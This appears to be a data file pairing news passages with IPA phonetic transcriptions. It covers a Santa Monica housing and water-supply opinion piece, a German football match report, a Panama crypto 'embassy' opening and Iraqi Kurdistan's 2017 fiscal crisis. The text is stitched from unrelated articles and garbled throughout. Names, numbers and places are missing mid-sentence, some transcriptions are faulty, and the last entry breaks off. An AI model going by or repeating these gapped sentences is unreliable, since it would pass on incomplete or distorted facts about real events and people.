fˈjuʧər. ɪn ə ˈrɛlətɪvli ˈwɛlθi ˈsɪti, wi hæv meɪd ˈsænə ˈmɑnɪkə kəmˈpærətɪvˌli mɔr əˈfɔrdəbəl ðən lɔs ˈænʤəlɪs ˈkaʊnti. ənd rɪˈmɛmbər, ðɪs wɑz dən ɪn ðə dɛpθs əv ə ˌriˈsɛʃən ɔn səm əv ðə moʊst ɪkˈspɛnsɪv lænd ɔn ðə ˈwɛstˈsaɪd. ðə əˈbɪləˌti tɪ meɪnˈteɪn əˌfɔrdəˈbɪləti əv ɑr ˈhaʊzɪŋ stɑk θru ðə kəmˈbaɪnd ˈɛfərts əv ðə ˈsɪti ˈkaʊnsəl ənd stæf, əv ðə rɛnt kənˈtroʊl bɔrd ənd əv əˈfɔrdəbəl ˈhaʊzɪŋ prəˈvaɪdərz laɪk kəmˈjunɪti ˈkɔrpərˈeɪʃən ənd əv əˌfɔrdəˈbɪləti ˈædvəˌkeɪts laɪk tɪ neɪm ʤɪst ə fju, ɪz ən ˌɪnˈkrɛdəbəl əˈʧivmənt. wi kən ɔl bi praʊd əv ðɪs əˈʧivmənt. ɪn ʃɔrt wi kən stɑp ˈbitɪŋ ɑrˈsɛlvz əp əˈbaʊt ˈnidɪŋ mɔr ənd mɔr ˈhaʊzɪŋ ənd ˈfoʊkɪs ˌɪnˈstɛd ɔn ðə ˈkɑnsəkˌwɛnsəz əv ðɪs əˈbəndənt ˈhaʊzɪŋ pərˈdəkʃən, ˌpɑrˈtɪkjələrli ɛz ɪts ˈbərdən ˈɛskəˌleɪts ɪn ðə fˈjuʧər. ɪt ɪz ɔˈrɛdi kəˈlaɪdɪŋ wɪθ ɑr səˌsteɪnəˈbɪlɪti goʊlz. wi ˈsɪmpli du nɑt hæv ðə ˈwɔtər fər ðə nu ˈrɛzɪdənts hu ər tɪ ʤɔɪn ˈjuˈɛs ɪn ðə nɛkst 20 jɪrz. ɪn fækt wi du nɑt hæv ɪˈnəf ˈwɔtər fər ɑr ˈkɑrənt hoʊmz ənd ˈbɪznɪsɪz sɪns wi ˌɪmˈpɔrt əˈbaʊt ə θərd əv ɑr ˈwɔtər frəm kəˈlæpsɪŋ ˈsɔrsəz səʧ ɛz ðə siˈɛrə snoʊ pæk (ðə ɪkˈspɛktɪd ɛl ˈninoʊ ðɪs jɪr wɪl nɑt ənˈdu fɔr jɪrz əv draʊt). moʊst əv ðə nu ˈhaʊzɪŋ ɪz ˈhɛdɪd təˈwɔrd ˈdaʊnˈtaʊn, wɪʧ dɪz nɑt ˈivɪn hæv ən ˌɛləˈmɛnʧri skul, soʊ ðoʊz ˈstudənts wɪl nid tɪ goʊ əˈkrɔs hæf ðə taʊn tɪ ˈpɑsəbli məˈkɪnli. ˈoʊnli wən ɪn naɪn əv ɑr ˈwərkərz lɪv ənd wərk ɪn ðə ˈsɪti soʊ wi ˈkænɑt səbˈstænʃəli rɪˈdus ɑr ɪmˈbæləns baɪ ˈbɪldɪŋ mɔr ˈhaʊzɪŋ, sɪns 9 əv ðə 10 nu ˈwərkərz wɪl stɪl wərk ˈaʊtˈsaɪd əv ðə ˈsɪti ˈædɪŋ tɪ ɑr pik aʊər ˈtræfɪk ˈkrəʃɪz. ənd ðɛr ɪz noʊ ˈsərtənti ðɪs ˈreɪʃiˌoʊ wɪl ˈlaɪkli ˌɪmˈpruv wɪθ ðə ˈædˌvɛnt əv ðə laɪt reɪl nɛkst jɪr. ɪt meɪ ˈæˌkʧuəli gɪt wərs. ðɪs ˈhaʊzɪŋ pərˈdəkʃən ɪz nɑt fri. nu ˈrɛzɪdənts ˌrikˈwaɪər mɔr skulz, ˈwɔtər, paʊər, ˈtræfɪk ˈəpˌgreɪdz, faɪər ənd pəˈlis ˈsərvɪsɪz. ɪn ˈkaʊntləs weɪz ðɪs groʊθ ˈbərdənz ɑr ˌɪnfrəˈstrəkʧər wɪʧ ɪz ɔˈrɛdi ˈkɑmprəˌmaɪzd ənd həz ˈlɪmɪtɪd ɪkˈspænʧən ˌkeɪpəˈbɪləti ɪn ə bɪlt aʊt ˈsɪti. fər ɪgˈzæmpəl, wɛr wʊd ju əˈmæs ɪˈnəf lænd fər ðə nɛkst ˌɛləˈmɛnʧri skul? wɛr wʊd ju bɪld ðə diˌseɪlɪnəˈzeɪʃən plænt wɪn diˌseɪlɪnəˈzeɪʃən bɪˈkəmz ə kɔst kəmˈpɛtɪtɪv (ənd ɛkəˈlɑʤɪkli saʊnd) ˈwɔtər sɔrs? wɛr wʊd ju muv ðə ˈsɪti jɑrdz tɪ wɪn məˈmɔriəl pɑrk ɪz ɪkˈspændɪd? ðiz ər nɑt ˈtrɪviəl ˈprɑbləmz wɪn ju kənˈsɪdər, fər ɪgˈzæmpəl, ðət wi hæv ðə list əˈmaʊnt əv ˈoʊpən pɑrk speɪs ənd ər ðə ˈsɛkənd ˈdɛnsəst ˈsɪti ɪn ˌkæləˈfɔrnjə fər ˈkoʊstəl ˈsɪtiz əv ɑr ˈkɑmprəbəl saɪz. ðə ˌlɪmɪˈteɪʃənz əv speɪs ɪn ɑr ˌɪmˈpæktɪd ˈsɪti minz ðət ˌɪnfrəˈstrəkʧər ˈəpˌgreɪdz bɪˈkəm məʧ mɔr ɪkˈspɛnsɪv ənd ˌɪnˈkris ˈfæstər ðən ðə tæks beɪs tɪ səˈpɔrt ðɛm. wɛˈnɛvər ɑr groʊθ ɪkˈspændz bɪɔnd ɑr kəˈpæsɪti, ɪn ɔl ˈsɛnsɪz əv ðə wərd, ɔl ðə ˈrɛzɪdənts ɛnd əp peɪɪŋ ə ˈhɔrəbəl ˈsɪvɪk praɪs ɪn kɔst (hæv ju lʊkt æt jʊr ˈwɔtər bɪl ˈleɪtli), ɪn taɪm ənd ɪn kˈwɑləti əv laɪf. ənˈfɔrʧənətli ðə ˈhaʊzɪŋ səˈplaɪ ˈkraɪsəs ɪn ɑr ˈsɪti həz bɪˈkəm ə ˈtroʊʤən hɔrs tɪ traɪ tɪ draɪv mɔr ˌənsəˈsteɪnəbəl dɪˈvɛləpmənt ˈɪntu ɑr ˈsɪti. ðə ˈpoʊstər bɔɪ fər ðɪs ɪz ðə ˈrisəntli əˈpruvd ˈsænə ˈmɑnɪkə ˈplɑzə ˈprɑʤɛkt wɪʧ ðə ˈsɪti ˈkaʊnsəl grin ˈlaɪtɪd tɪ ðə nɛkst əˈpruvəl ˈlɛvəl wɪθ ən əˈstɑnɪʃɪŋ 12 ˈstɔriz ənd ə ˈpɪtəfəl fɪg lif əv ˈoʊnli 48 əˈfɔrdəbəl ˈjunɪts. ðə ɪˈvɑlvɪŋ ˈdaʊnˈtaʊn spɪˈsɪfɪk plæn ɪz ˈɔlsoʊ wɪθ ən ˌənsəˈsteɪnəbəl əˈmaʊnt əv dɪˈvɛləpmənt. ˈsɪtiz ˈkænɑt ənd ʃʊd nɑt ɪkˈspænd ˈɪnfənətli. ˈoʊnli soʊ məʧ lænd, ˈsənˌlaɪt ənd ˈwɔtər ɪz əˈveɪləbəl tɪ ɑr ˈsɪti. fər ɪgˈzæmpəl ˈsɪtiz ˈæˌkʧuəli du rən aʊt əv ˈwɔtər: ˈivɪn bɪg wənz laɪk saʊ ˈpaʊloʊ, brəˈzɪl. soʊ ɪn ɑr ˈbiʧˌsaɪd ˈsɪti wi ˈkænɑt ˈproʊdus ɔl ðə ˈhaʊzɪŋ ðɛr ɪz dɪˈmænd fər ɪn ɑr ˈriʤən, nɔr ʃʊd wi traɪ, sɪns wi ər ɔˈrɛdi prəˈvaɪdɪŋ mɔr ðən ɑr fɛr ʃɛr əv ˈhaʊzɪŋ ənd ˈəðər ˈvaɪtəl ˈriʤənəl ˈsərvɪsɪz: ˌrɛkriˈeɪʃən (ˈbiʧɪz), ʤɑb kriˈeɪʃən (ˈsɪləˌkoʊn biʧ), ˌtrænspərˈteɪʃən (ˈɛrˌpɔrt ənd laɪt reɪl), ˌɛnərˈteɪnmənt strit ˌprɑməˈneɪd, ðə pɪr), hɛlθ (tu ˈriʤənəl ˈhɑˌspɪtəlz), ˌɛʤəˈkeɪʃən (ˈsænə ˈmɑnɪkə ˈkɑlɪʤ) ənd ˈtʊˌrɪzəm (hoʊˈtɛl ˈɪndəstri). ðoʊz ˈəðər ˈriʤənəl ˈsərvɪsɪz ər ɛz ˈikwəli ˈriʤənəli ˌɪmˈpɔrtənt ɛz ðə ˈhaʊzɪŋ wi prəˈvaɪd. ˌhaʊˈɛvər ɑr moʊst sɪgˈnɪfɪkənt ˈriʤənəl ˌkɑntrəˈbjuʃən ɪz tɪ bi ə loʊ raɪz ˈsɪti wɛr ˈrɛzɪdənts, ˈvɪzɪtərz ənd ˈtʊrɪsts kən rɪˈlæks ənd gɪt rɪˈlif frəm ðə ˈərbən ˌpændɪˈmoʊniəm ɔl əraʊnd ˈjuˈɛs. rɪˈlækst ˈlɪvɪŋ ɑr ril ˈmɪʃən ˈsteɪtmənt ɪn ðɪs ˈriʤən ənd ðɪs əˈlaɪnz wɪθ ðə ˈɪntərɪsts əv ɑr ˈrɛzɪdənts. wɪn wi kəmˈpɛr ɑrˈsɛlvz tɪ ˈəðər ˈbiʧˌsaɪd ˈsɪtiz wi du mɔr ðən ɑr ʃɛr ɪn ˈmɛni ˈkætəˌgɔriz. haʊ ˈmɛni ˈriʤənəl ˈhɑˌspɪtəlz dɪz dɪz ˈmæləbu hæv? dɪz rɪˈdɑndoʊ biʧ hæv ə ˈstudənt ˈʤunjər ˈkɑlɪʤ? dɪz mænˈhætən biʧ hæv ən ˈɛrˌpɔrt? wi du ˈhaʊzɪŋ ˈvɛri wɛl, bət ɪt ɪz ʤɪst ə smɔl pɑrt əv ɑr ˌmɛtrəˈpɑlətən roʊl. səˌsteɪnəˈbɪlɪti əv ɔl ɑr ˈriʤənəl ˌkɑntrəˈbjuʃənz wɪˈθaʊt ˈbərdənɪŋ ɑr ˈrɛzɪdənts ʃʊd bi ɑr ˈmeɪʤər ˈfoʊkɪs, nɑt ˈɛni wən æt ðə ɪkˈspɛns əv ðə ˈəðərz. sma.r.t*. (ˈsænə ˈmɑnɪkə ˈɑrkəˌtɛkts fər ə riˈspɑnsəbəl təˈmɑˌroʊ) ˈædvərˌtaɪzmənts |
greutner got their first taste of victory on friday when felix klaus led his newly promoted team to a away victory in the minute.
after being teed up by azemi, klaus scored the only goal of the match when his dipping strike went straight over christian wetklo. like several of his team mates, klaus had never played in the top division before this season.
mainz had dominated throughout the match, but failed to make use of their chances. maxim was the main culprit for mainz, missing several good opportunities.
after going a goal down, mainz coach thomas brought on marcel risse and polanski in an attempt to snatch a draw, but the home side could not turn things around.
up until their debut game at home last week, when they lost to munich, had not taken part in top flight football since they participated in the last edition of the old german first division in. the following season they were not among the 16 clubs chosen to take part in the inaugural and were unable to recover.
friday's performance and a draw in have left mainz with one point from two games. defending champions dortmund play nuremberg on saturday, while munich are defending their lead at home against stuttgart on sunday. | greutner* gɑt ðɛr fərst teɪst əv ˈvɪktəri ɔn ˈfraɪˌdeɪ wɪn ˈfilɪks klaʊs lɛd hɪz ˈnuli prəˈmoʊtəd tim tɪ ə əˈweɪ ˈvɪktəri ɪn ðə ˈmɪnət. ˈæftər biɪŋ tid əp baɪ azemi*, klaʊs skɔrd ðə ˈoʊnli goʊl əv ðə mæʧ wɪn hɪz ˈdɪpɪŋ straɪk wɛnt streɪt ˈoʊvər ˈkrɪsʧɪn wetklo*. laɪk ˈsɛvərəl əv hɪz tim meɪts, klaʊs hæd ˈnɛvər pleɪd ɪn ðə tɔp dɪˈvɪʒən ˌbiˈfɔr ðɪs ˈsizən. meɪnz hæd ˈdɑməˌneɪtəd θruaʊt ðə mæʧ, bət feɪld tɪ meɪk juz əv ðɛr ˈʧænsɪz. ˈmæksəm wɑz ðə meɪn ˈkəlprɪt fər meɪnz, ˈmɪsɪŋ ˈsɛvərəl gʊd ˌɑpərˈtunətiz. ˈæftər goʊɪŋ ə goʊl daʊn, meɪnz koʊʧ ˈtɑməs brɔt ɔn mɑrˈsɛl rɪs ənd pəˈlænski ɪn ən əˈtɛmpt tɪ snæʧ ə drɔ, bət ðə hoʊm saɪd kʊd nɑt tərn θɪŋz əraʊnd. əp ənˈtɪl ðɛr ˈdeɪbju geɪm æt hoʊm læst wik, wɪn ðeɪ lɔst tɪ mˈjunɪk, hæd nɑt ˈteɪkən pɑrt ɪn tɔp flaɪt ˈfʊtˌbɔl sɪns ðeɪ pɑrˈtɪsəˌpeɪtɪd ɪn ðə læst ɪˈdɪʃən əv ðə oʊld ˈʤərmən fərst dɪˈvɪʒən ɪn ðə ˈfɑloʊɪŋ ˈsizən ðeɪ wər nɑt əˈməŋ ðə 16 kləbz ˈʧoʊzən tɪ teɪk pɑrt ɪn ðə ˌɪˈnɔgərəl ənd wər əˈneɪbəl tɪ rɪˈkəvər. ˈfraɪˌdeɪz pərˈfɔrməns ənd ə drɔ ɪn hæv lɛft meɪnz wɪθ wən pɔɪnt frəm tu geɪmz. dɪˈfɛndɪŋ ˈʧæmpiənz ˈdɔrtmənd pleɪ ˈnʊrəmbərg ɔn ˈsæˌtɪˌdeɪ, waɪl mˈjunɪk ər dɪˈfɛndɪŋ ðɛr lɛd æt hoʊm əˈgɛnst ˈstətgərt ɔn ˈsənˌdi. |
blockchain embassy opens for business in panama city
a new location for and enthusiasts, entrepreneurs, activists,noclasts, connoisseurs, and the general public has opened in panama. it is called the embassy. it is located in the balboa boutiques strip mall of balboa avenue in panama city.
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information on the embassy
the space has crypto clothing and other merchandise for sale. it has a cafeteria, craft beers for sale, hardware wallets on display, a coffee shop, and even a working space.
a press release sent to.com, said the embassy will also start giving workshops and presentations. everyone is welcome to come and engage with the panama crypto community. the embassy press release elaborated on how it accepts payment and provided more information:
the embassy accepts payments in cash and crypto, and has become an emblematic tourist site in panama. it receives visitors from all over the world. it is one of the projects created by startup.io, known for being the first company in the world to install in commercial banks, as well as integrating its system pay that allows any commerce to accept payments in and other currencies.
motivations to build the embassy in panama
bitcoin.com reached out to one of the founders of the embassy (and), jorge farias, to get some insight on the motivations behind setting up the embassy.
he said, “we created the embassy because we were motivated by the need to educate the people not only of panama, but also of the world. panama is a tourist site, and at the same time, a major financial and logistic center. we believe that it is an ideal place to show the power of technology in a real, palpable way.”
furthermore, he said his company chose the site in panama city because it is easy to access by car and it allowed his team to integrate all of its amenities. he said besides offering the crypto atm, hardware wallets, and all the amenities mentioned, they plan on gradually adding many more things for their enjoyment.
what do you think about the embassy? will you visit it? let us know in the comments section below.
images courtesy of embassy
at.com a bunch of free helpful services. for instance, have you seen our tools page? you can even lookup the exchange rate for a transaction in the past. or calculate the value of your current holdings. or create a paper wallet. and much more. | blockchain* ˈɛmbəsi ˈoʊpənz fər ˈbɪznɪs ɪn ˈpænəˌmɑ ˈsɪti ə nu loʊˈkeɪʃən fər ənd ɛnˈθuziˌæsts, ˌɑntrəprəˈnərz, ˈæktɪvɪsts, iconoclasts*, ˌkɑnəˈsərz, ənd ðə ˈʤɛnərəl ˈpəblɪk həz ˈoʊpənd ɪn ˈpænəˌmɑ. ɪt ɪz kɔld ðə ˈɛmbəsi. ɪt ɪz ˈloʊˌkeɪtəd ɪn ðə bɑlˈboʊə buˈtiks strɪp mɔl əv bɑlˈboʊə ˈævəˌnu ɪn ˈpænəˌmɑ ˈsɪti. ˈɔlsoʊ rɛd: ˈrɛgjələˌtɔri round-up*: uk*, məˈleɪʒə, ənd ˈkrɪptoʊ ˈvæli pɔɪnt tɪ rɪsks ˌɪnˌfɔrˈmeɪʃən ɔn ðə ˈɛmbəsi ðə speɪs həz ˈkrɪptoʊ ˈkloʊðɪŋ ənd ˈəðər ˈmərʧənˌdaɪz fər seɪl. ɪt həz ə ˌkæfəˈtɪriə, kræft bɪrz fər seɪl, ˈhɑrdˌwɛr ˈwɔləts ɔn dɪˈspleɪ, ə ˈkɔfi ʃɑp, ənd ˈivɪn ə ˈwərkɪŋ speɪs. ə prɛs riˈlis sɛnt tɪ, sɛd ðə ˈɛmbəsi wɪl ˈɔlsoʊ stɑrt ˈgɪvɪŋ ˈwərkˌʃɑps ənd ˌprɛzənˈteɪʃənz. ˈɛvriˌwən ɪz ˈwɛlkəm tɪ kəm ənd ɪnˈgeɪʤ wɪθ ðə ˈpænəˌmɑ ˈkrɪptoʊ kəmˈjunɪti. ðə ˈɛmbəsi prɛs riˈlis ɪˈlæbəreɪtəd ɔn haʊ ɪt ækˈsɛpts ˈpeɪmənt ənd prəˈvaɪdɪd mɔr ˌɪnˌfɔrˈmeɪʃən: ðə ˈɛmbəsi ækˈsɛpts ˈpeɪmənts ɪn kæʃ ənd ˈkrɪptoʊ, ənd həz bɪˈkəm ən ˌɛmbləˈmætɪk ˈtʊrɪst saɪt ɪn ˈpænəˌmɑ. ɪt rɪˈsivz ˈvɪzɪtərz frəm ɔl ˈoʊvər ðə wərld. ɪt ɪz wən əv ðə ˈprɑʤɛkts kriˈeɪtɪd baɪ ˈstɑrˌtəp cryptobuyer.io*, noʊn fər biɪŋ ðə fərst ˈkəmpəˌni ɪn ðə wərld tɪ ˌɪnˈstɔl ɪn kəˈmərʃəl bæŋks, ɛz wɛl ɛz ˈɪnəˌgreɪtɪŋ ɪts ˈsɪstəm peɪ ðət əˈlaʊz ˈɛni ˈkɑmərs tɪ əkˈsɛpt ˈpeɪmənts ɪn ənd ˈəðər ˈkərənsiz. ˌmoʊtəˈveɪʃənz tɪ bɪld ðə ˈɛmbəsi ɪn ˈpænəˌmɑ riʧt aʊt tɪ wən əv ðə ˈfaʊndərz əv ðə ˈɛmbəsi (ənd), ˈhɔrheɪ ˈfɛriəz, tɪ gɪt səm ˈɪnˌsaɪt ɔn ðə ˌmoʊtəˈveɪʃənz bɪˈhaɪnd ˈsɛtɪŋ əp ðə ˈɛmbəsi. hi sɛd, kriˈeɪtɪd ðə ˈɛmbəsi bɪˈkəz wi wər ˈmoʊtəˌveɪtəd baɪ ðə nid tɪ ˈɛʤəˌkeɪt ðə ˈpipəl nɑt ˈoʊnli əv ˈpænəˌmɑ, bət ˈɔlsoʊ əv ðə wərld. ˈpænəˌmɑ ɪz ə ˈtʊrɪst saɪt, ənd æt ðə seɪm taɪm, ə ˈmeɪʤər ˌfaɪˈnænʃəl ənd ləˈʤɪstɪk ˈsɛnər. wi bɪˈliv ðət ɪt ɪz ən aɪˈdil pleɪs tɪ ʃoʊ ðə paʊər əv tɛkˈnɑləʤi ɪn ə ril, ˈpælpəbəl way.”*.” ˈfərðərˌmɔr, hi sɛd hɪz ˈkəmpəˌni ʧoʊz ðə saɪt ɪn ˈpænəˌmɑ ˈsɪti bɪˈkəz ɪt ɪz ˈizi tɪ ˈækˌsɛs baɪ kɑr ənd ɪt əˈlaʊd hɪz tim tɪ ˈɪnəˌgreɪt ɔl əv ɪts əˈmɛnətiz. hi sɛd ˌbiˈsaɪdz ˈɔfərɪŋ ðə ˈkrɪptoʊ ˈeɪˌtiˈɛm, ˈhɑrdˌwɛr ˈwɔləts, ənd ɔl ðə əˈmɛnətiz ˈmɛnʃənd, ðeɪ plæn ɔn ˈgræʤuəli ˈædɪŋ ˈmɛni mɔr θɪŋz fər ðɛr ˌɛnˈʤɔɪmənt. wət du ju θɪŋk əˈbaʊt ðə ˈɛmbəsi? wɪl ju ˈvɪzɪt ɪt? lɛt ˈjuˈɛs noʊ ɪn ðə ˈkɑmɛnts ˈsɛkʃən bɪˈloʊ. ˈɪmɪʤɪz ˈkərtəsi əv ˈɛmbəsi æt ə bənʧ əv fri ˈhɛlpfəl ˈsərvɪsɪz. fər ˈɪnstəns, hæv ju sin ɑr tulz peɪʤ? ju kən ˈivɪn ˈlʊkəp ðə ɪksˈʧeɪnʤ reɪt fər ə trænˈzækʃən ɪn ðə pæst. ər ˈkælkjəˌleɪt ðə ˈvælju əv jʊr ˈkɑrənt ˈhoʊldɪŋz. ər kriˈeɪt ə ˈpeɪpər ˈwɔlət. ənd məʧ mɔr. |
a referendum on independence for iraqi kurdistan set for september 25 c
omes as the autonomous region faces the worst economic crisis in its short history.
plunging government income, the challenge of fighting the islamic state group and the cost of hosting hundreds of thousands of refugees have combined to punch a gaping hole in the kurdistan regional government's budget.
"the coffers are empty and it's burdened with debts,", an expert on iraq's oil industry, told afp.
the world bank said in a recent report that the fiscal crisis and the security challenge posed by is "have had a significant adverse impact on economic growth".
the region has benefitted from an influx of investment since the 2003 fall of dictator saddam hussein in a invasion.
it won a measure of autonomy in the 2005 iraqi constitution and has been seen as an island of stability in a country plunged into anarchy.
iraqi kurds take part in an event to urge people to vote in the upcoming independence referendum in, the capital of the autonomous kurdish region of northern iraq, on september 16, 2017 (photo by: hamed/afp)
the drowsy regional capital was transformed as investors built towers, plush buildings, shopping malls and hotels to host foreign executives on business trips.
all that collapsed in 2014 as the price of oil plunged, is jihadists seized a tranche of northern iraq abutting the and more than a million displaced iraqis and syrian refugees fled to the autonomous region.
that was compounded by baghdad's decision to suspend payments to the of 17 percent of iraq's national budget.
the transfers, worth some $12 billion (10 billion euros), made up 80 percent of the region's budget revenues.
wages, including those of fighters, were slashed.
"the fiscal shock is severe," the world bank said.
it said the regional government has dealt with the cut in revenues by borrowing money, postponing projects, and delaying payments -- including the salaries of government employees.
'dire economic situation'
the combination of crises slashed growth from eight percent in 2013 to three percent in 2014, the world bank said in 2015.
a senior official said that by the end of that year, public servants' salaries had been cut by 60 percent.
a building riddled with bullet holes is seen in the mainly kurdish iraqi city of kirkuk on september 18, 2017 (photo by: ahmad al-rubaye/afp)
for the past two months, the region's million civil servants and retirees have not been paid at all, he told afp.
fathi al-mudaress, an adviser to the, said the crisis "stems from the fact that (the region) has made oil revenues its main source of income."
"two years into the crisis, the autonomous region's government has adopted policies of austerity and income diversification, notably through tourism, agriculture and industry," he told afp.
kurdistan on average produces some barrels a day, of which are exported via turkey.
that includes some from the oil fields of disputed kirkuk province, seized by kurdish forces when is took control of iraq's second city mosul.
the sells oil through advance contracts, in effect taking out loans from firms including swiss commodities giants and and repaying its debts with barrels of crude.
the has used this system to borrow more than $3 billion in the past three years.
recently it borrowed $1 billion from russia's rosneft to pay damages to consortium pearl petroleum, which is in a dispute with the regional government.
rosneft will also be paid in barrels of oil.
but with oil prices still depressed, kurdistan has been unable to pay investors developing its fields, and its debts are growing.
the world bank warned in 2016 that "arrears in payments to oil companies and contractors create an uncertain business environment".
husari said the crisis is much more severe than the kurdistan government admits.
"the obvious 'yes' result of the referendum will not lead automatically to a declaration of an independent state but will open battles on several fronts," she said.
"for b it's a leap forward to stay in power while diverting attention from the dire economic state of the region." | ə ˌrɛfərˈɛndəm ɔn ˌɪndɪˈpɛndəns fər ˌɪˈræki ˈkərdɪˌstæn sɛt fər sɛpˈtɛmbər 25 si ɛz ðə ɔˈtɑnəməs ˈriʤən ˈfeɪsɪz ðə wərst ˌɛkəˈnɑmɪk ˈkraɪsəs ɪn ɪts ʃɔrt ˈhɪstəri. ˈplənʤɪŋ ˈgəvərnmənt ˈɪnˌkəm, ðə ˈʧælənʤ əv ˈfaɪtɪŋ ðə ˌɪzˈlɑmɪk steɪt grup ənd ðə kɔst əv ˈhoʊstɪŋ ˈhənərdz əv ˈθaʊzənz əv ˈrɛfˌjuʤiz hæv kəmˈbaɪnd tɪ pənʧ ə ˈgeɪpɪŋ hoʊl ɪn ðə ˈkərdɪˌstæn ˈriʤənəl ˈgəvərnmənts ˈbəʤɪt. "ðə ˈkɔfərz ər ˈɛmti ənd ɪts ˈbərdənd wɪθ dɛts,", ən ˈɛkspərt ɔn ˌɪˈrɑks ɔɪl ˈɪndəstri, toʊld afp*. ðə wərld bæŋk sɛd ɪn ə ˈrisənt rɪˈpɔrt ðət ðə ˈfɪskəl ˈkraɪsəs ənd ðə sɪˈkjʊrəti ˈʧælənʤ poʊzd baɪ ɪz "hæv hæd ə sɪgˈnɪfɪkənt ˌædˈvərs ˌɪmˈpækt ɔn ˌɛkəˈnɑmɪk groʊθ". ðə ˈriʤən həz ˈbɛnəfɪtɪd frəm ən ˈɪnˌfləks əv ˌɪnˈvɛstmənt sɪns ðə 2003 fɔl əv ˈdɪkteɪtər ˈsɑdəm huˈseɪn ɪn ə ˌɪnˈveɪʒən. ɪt wən ə ˈmɛʒər əv əˈtɑnəmi ɪn ðə 2005 ˌɪˈræki ˌkɑnstəˈtuʃən ənd həz bɪn sin ɛz ən ˈaɪlənd əv stəˈbɪlɪti ɪn ə ˈkəntri plənʤd ˈɪntu ˈænərˌki. ˌɪˈræki kərdz teɪk pɑrt ɪn ən ɪˈvɛnt tɪ ərʤ ˈpipəl tɪ voʊt ɪn ðə ˈəpˌkəmɪŋ ˌɪndɪˈpɛndəns ˌrɛfərˈɛndəm ɪn, ðə ˈkæpɪtəl əv ðə ɔˈtɑnəməs ˈkərdɪʃ ˈriʤən əv ˈnɔrðərn ˌɪˈrɑk, ɔn sɛpˈtɛmbər 16 2017 (ˈfoʊˌtoʊ baɪ: hamed/afp*) ðə ˈdraʊzi ˈriʤənəl ˈkæpɪtəl wɑz trænsˈfɔrmd ɛz ˌɪnˈvɛstərz bɪlt taʊərz, pləʃ ˈbɪldɪŋz, ˈʃɑpɪŋ mɔlz ənd hoʊˈtɛlz tɪ hoʊst ˈfɔrən ɪgˈzɛkjətɪvz ɔn ˈbɪznɪs trɪps. ɔl ðət kəˈlæpst ɪn 2014 ɛz ðə praɪs əv ɔɪl plənʤd, ɪz ʤiˈhɑˌdɪsts sizd ə trænʧ əv ˈnɔrðərn ˌɪˈrɑk əˈbətɪŋ ðə ənd mɔr ðən ə ˈmɪljən dɪˈspleɪst ˌɪˈrækiz ənd ˈsɪriən ˈrɛfˌjuʤiz flɛd tɪ ðə ɔˈtɑnəməs ˈriʤən. ðət wɑz kəmˈpaʊndɪd baɪ ˈbægdædz dɪˈsɪʒən tɪ səˈspɛnd ˈpeɪmənts tɪ ðə əv 17 pərˈsɛnt əv ˌɪˈrɑks ˈnæʃənəl ˈbəʤɪt. ðə ˈtrænsfərz, wərθ səm 12 ˈbɪljən 10 ˈbɪljən ˈjuˌroʊz), meɪd əp 80 pərˈsɛnt əv ðə ˈriʤənz ˈbəʤɪt ˈrɛvəˌnuz. ˈweɪʤɪz, ˌɪnˈkludɪŋ ðoʊz əv ˈfaɪtərz, wər slæʃt. "ðə ˈfɪskəl ʃɑk ɪz səˈvɪr," ðə wərld bæŋk sɛd. ɪt sɛd ðə ˈriʤənəl ˈgəvərnmənt həz dɛlt wɪθ ðə kət ɪn ˈrɛvəˌnuz baɪ ˈbɑroʊɪŋ ˈməni, poʊstˈpoʊnɪŋ ˈprɑʤɛkts, ənd dɪˈleɪɪŋ ˈpeɪmənts ˌɪnˈkludɪŋ ðə ˈsæləriz əv ˈgəvərnmənt ɪmˈplɔɪiz. 'daɪər ˌɛkəˈnɑmɪk ˌsɪʧuˈeɪʃən' ðə ˌkɑmbəˈneɪʃən əv ˈkraɪsiz slæʃt groʊθ frəm eɪt pərˈsɛnt ɪn 2013 tɪ θri pərˈsɛnt ɪn 2014 ðə wərld bæŋk sɛd ɪn 2015 ə ˈsinjər əˈfɪʃəl sɛd ðət baɪ ðə ɛnd əv ðət jɪr, ˈpəblɪk ˈsərvənts' ˈsæləriz hæd bɪn kət baɪ 60 pərˈsɛnt. ə ˈbɪldɪŋ ˈrɪdəld wɪθ ˈbʊlət hoʊlz ɪz sin ɪn ðə ˈmeɪnli ˈkərdɪʃ ˌɪˈræki ˈsɪti əv ˌkɪrˈkʊk ɔn sɛpˈtɛmbər 18 2017 (ˈfoʊˌtoʊ baɪ: ˈɑmɑd al-rubaye/afp*) fər ðə pæst tu mənθs, ðə ˈriʤənz ˈmɪljən ˈsɪvəl ˈsərvənts ənd riˈtaɪˈriz hæv nɑt bɪn peɪd æt ɔl, hi toʊld afp*. ˈfæθi al-mudaress*, ən ædˈvaɪzər tɪ ðə, sɛd ðə ˈkraɪsəs "stɛmz frəm ðə fækt ðət (ðə ˈriʤən) həz meɪd ɔɪl ˈrɛvəˌnuz ɪts meɪn sɔrs əv ˈɪnˌkəm." "tu jɪrz ˈɪntu ðə ˈkraɪsəs, ðə ɔˈtɑnəməs ˈriʤənz ˈgəvərnmənt həz əˈdɑptəd ˈpɑləsiz əv ˌɔˈstɛrɪti ənd ˈɪnˌkəm dɪˌvərsəfəˈkeɪʃən, ˈnoʊtəbli θru ˈtʊˌrɪzəm, ˈægrɪˌkəlʧər ənd ˈɪndəstri," hi toʊld afp*. ˈkərdɪˌstæn ɔn ˈævərɪʤ prəˈdusɪz səm ˈbɛrəlz ə deɪ, əv wɪʧ ər ɪkˈspɔrtəd ˈviə ˈtərki. ðət ˌɪnˈkludz səm frəm ðə ɔɪl fildz əv dɪˈspjutɪd ˌkɪrˈkʊk ˈprɑvɪns, sizd baɪ ˈkərdɪʃ ˈfɔrsɪz wɪn ɪz tʊk kənˈtroʊl əv ˌɪˈrɑks ˈsɛkənd ˈsɪti ˈmoʊsəl. ðə sɛlz ɔɪl θru ədˈvæns ˈkɑnˌtrækts, ɪn ˈifɛkt ˈteɪkɪŋ aʊt loʊnz frəm fərmz ˌɪnˈkludɪŋ swɪs kəˈmɑdətiz ʤaɪənts ənd ənd riˈpeɪɪŋ ɪts dɛts wɪθ ˈbɛrəlz əv krud. ðə həz juzd ðɪs ˈsɪstəm tɪ ˈbɑˌroʊ mɔr ðən 3 ˈbɪljən ɪn ðə pæst θri jɪrz. ˈrisəntli ɪt ˈbɑˌroʊd 1 ˈbɪljən frəm ˈrəʃəz ˈrɑznɪft tɪ peɪ ˈdæmɪʤɪz tɪ kənˈsɔrʃjəm pərl pəˈtroʊliəm, wɪʧ ɪz ɪn ə dɪˈspjut wɪθ ðə ˈriʤənəl ˈgəvərnmənt. 